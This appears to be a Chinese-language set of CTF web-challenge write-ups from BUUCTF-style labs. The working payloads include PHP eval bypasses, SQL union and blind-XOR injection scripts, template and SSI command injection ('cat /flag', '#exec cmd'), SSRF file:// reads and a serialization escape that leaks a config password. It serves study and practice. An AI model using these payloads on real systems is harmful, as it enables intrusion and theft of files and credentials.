<?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
方法一 利用白名单中的函数来构造出$_GET[pi]
和$_GET[abs]
exp.php
<?php $dec_hex2bin = base_convert ('hex2bin' ,36 ,10 );$hex2bin = base_convert ($dec_hex2bin ,10 ,36 );$dec_GET = base_convert ('_GET' ,16 ,10 );$pi =base_convert (37907361743 ,10 ,36 )(dechex (1598506324 ));echo $pi ;?>
方法二 构造出getallheaders
<?php $dec_exec = base_convert ('exec' ,36 ,10 );$dec_head = base_convert ('getallheaders' ,30 ,10 );?>
最终payload
/?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1}) POST: 1=cat /flag
[MRCTF2020]PYWebsite 添加XFF
头访问/flag.php
即可
[SWPU2019]Web1 注册账号后登录,进入广告发布页面,发现广告名字存在sql注入
,测试后payload
如下
#列数为22 1'/**/group/**/by/**/22,'1 1'/**/group/**/by/**/23,'1 #回显点为2和3 -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1 #表名:ads,users -1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1 #发现存在flag字段 -1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1 #获取flag -1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
[NPUCTF2020]ReadlezPHP 源码中发现<a href="./time.php?source"></a></p>
,访问即可获得源码
<?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp ;if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); die (0 ); } @$ppp = unserialize ($_GET ["data" ]);
简单反序列化,在phpinfo
里面搜索flag
即可
<?php class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "phpinfo();"; $this->b = "assert";//system被ban了 } } $c = new HelloPhp(); print_r(serialize($c)); ?>
disable_functions:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir
[CISCN2019 华东南赛区]Web11 右上角发现Current IP:
,添加header
即可
X-Forwarded-For: {{system('cat /flag')}}
[极客大挑战 2019]FinalSQL 用burp
来fuzz
下发现^
没被ban
,故猜测是异或注入
import requestsimport timeimport sysimport reimport osurl = 'http://764f49d1-6794-4019-82f7-ef1cdc6a8761.node4.buuoj.cn:81/search.php?id=' flag = '' for i in range (300 ): low = 32 high = 127 while (low < high): mid = (low + high) >> 1 payload = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),{0},1))>{1})^1" .format (i,mid) response = requests.get(url=url+payload) if 'Click' in response.text: low = mid + 1 else : high = mid time.sleep(0.05 ) flag += chr (low) print (flag)
[De1CTF 2019]SSRF Me from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' ,port=9999 )
首先绕过self.checkSign()
,并且传入的action
需要同时包含scan
和read
,然后if "scan" in self.action:
执行将flag.txt
中的数据写入result.txt
中,继续if "read" in self.action:
执行读取result.txt
中的数据,并且放在result['data']
中 , return json.dumps(task.Exec())
接着返回以json
的形式返回到客户端。
#f821a364c99c7ba8e6e7017f1a64c8c6 /geneSign?param=flag.txtread #{"code": 200, "data": "flag{27cff900-1dbd-4895-a5d4-39c4bd09ddc2}\n"} /De1ta?param=flag.txt Cookie:action=readscan;sign=f821a364c99c7ba8e6e7017f1a64c8c6
[De1CTF 2019]SSRF Me
[BSidesCF 2019]Futurella 查看源码即可得到flag
直接复制粘贴文本也可
Resistance is futile! Bring back Futurella or we’ll invade!
Also, the flag is flag{61cc71f2-8927-458f-a1a5-74a14fab8b97}
[SUCTF 2019]Pythonginx 查看源码获得代码和提示
@app.route('/getUrl', methods=['GET', 'POST' ]) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == ' suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333" </code> <!-- Dont worry about the suctf.cc. Go on! --> <!-- Do you know the nginx? -->
审计后发现h.encode('idna').decode('utf-8')
可以利用,使用下面的代码寻找字母替代
def get_s (): for i in range (128 ,65537 ): real=chr (i) try : vm=real.encode('idna' ).decode('utf-8' ) if 'xn' not in vm: print ('real:' ,real,'---->' ,vm) except Exception: pass
最终payload
如下
/getUrl?url=file://su%E2%93%92tf.cc/usr/local/nginx/conf/nginx.conf server { listen 80 ; location / { try_files $uri @app ; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } /getUrl?url=file://su%E2%93%92tf.cc/usr/fffffflag
[BJDCTF2020]EasySearch 访问/index.php.swp
获得源码
<?php ob_start (); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )]; $content = uniqid ().$random ; return sha1 ($content ); } header ("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr (md5 ($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash ().".shtml" ; $shtml = fopen ($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite ($shtml ,$text ); fclose ($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
爆破一下密码
from hashlib import md5for i in range (10000000 ): if (md5(str (i).encode()).hexdigest()[:6 ] == '6d0bc1' ): print (i) break
登陆后在响应包的头部发现Url_is_here: public/f4c0fa112d8847a9c7b71f86ff25fa4188144c8a.shtml
,结合代码中<h1>Hello,'.$_POST['username'].'</h1>
可知通过控制username
的值来使shtml
执行bash
命令
//可以用来读文件
//可以用来执行命令
//也是读文件 与FILE不同他支持绝对路径和../来跳转到父目录 而file只能读取当前目录下的
Shtml妙用
最终payload
如下
#Hello,flag_990c66bf85a09c664f0b6741840499b2 index.php index.php.swp public password=2020666&username=<!--#exec cmd="ls ../"--> #访问对应url即可获得flag password=2020666&username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
[BSidesCF 2019]Kookie 使用给的帐号cookie/monster
登录后修改Cookie
中的username
为admin
即可
[0CTF 2016]piapiapia 访问www.zip
获得源码,审计后发现config.php
中有flag
,问题主要部分摘出如下
<?php error_reporting (0 );function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode ('|' , $escape ) . '/' ; $string = preg_replace ($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'hacker' , $string ); } $_POST ['phone' ] = '12345678901' ;$_POST ['email' ] = '123456@qq.com' ;$_POST ['nickname' ]= array ('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}' );$file ['name' ] = 'config.php' ;if (!preg_match ('/^\d{11}$/' , $_POST ['phone' ])) die ('Invalid phone' ); if (!preg_match ('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST ['email' ])) die ('Invalid email' ); if (preg_match ('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen ($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' ); $profile ['phone' ] = $_POST ['phone' ];$profile ['email' ] = $_POST ['email' ];$profile ['nickname' ] = $_POST ['nickname' ];$profile ['photo' ] = 'upload/' . md5 ($file ['name' ]);$a = serialize ($profile );print_r (filter ($a ));echo PHP_EOL;print_r (unserialize (filter ($a )))?>
注意到nickname
判定与前两个不同,可以控制输入。
由于where
会被替换为hacker
,多出一个字符的空间,而要构造出;}s:5:"photo";s:10:"config.php";}
需要34个字符(从$photo = base64_encode(file_get_contents($profile['photo']));
中可知要构造photo
为config.php
,多出的}
是为了闭合数组),所以在nickname
构造出34个where
即可
其余参数合规即可
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
读取后查看源码解码即可
<?php $config ['hostname' ] = '127.0.0.1' ;$config ['username' ] = 'root' ;$config ['password' ] = 'qwertyuiop' ;$config ['database' ] = 'challenges' ;$flag = 'flag{91b2c5f7-d224-4e92-adb5-14f0c5750808}' ;?>
[0CTF 2016]piapiapia(反序列化逃逸)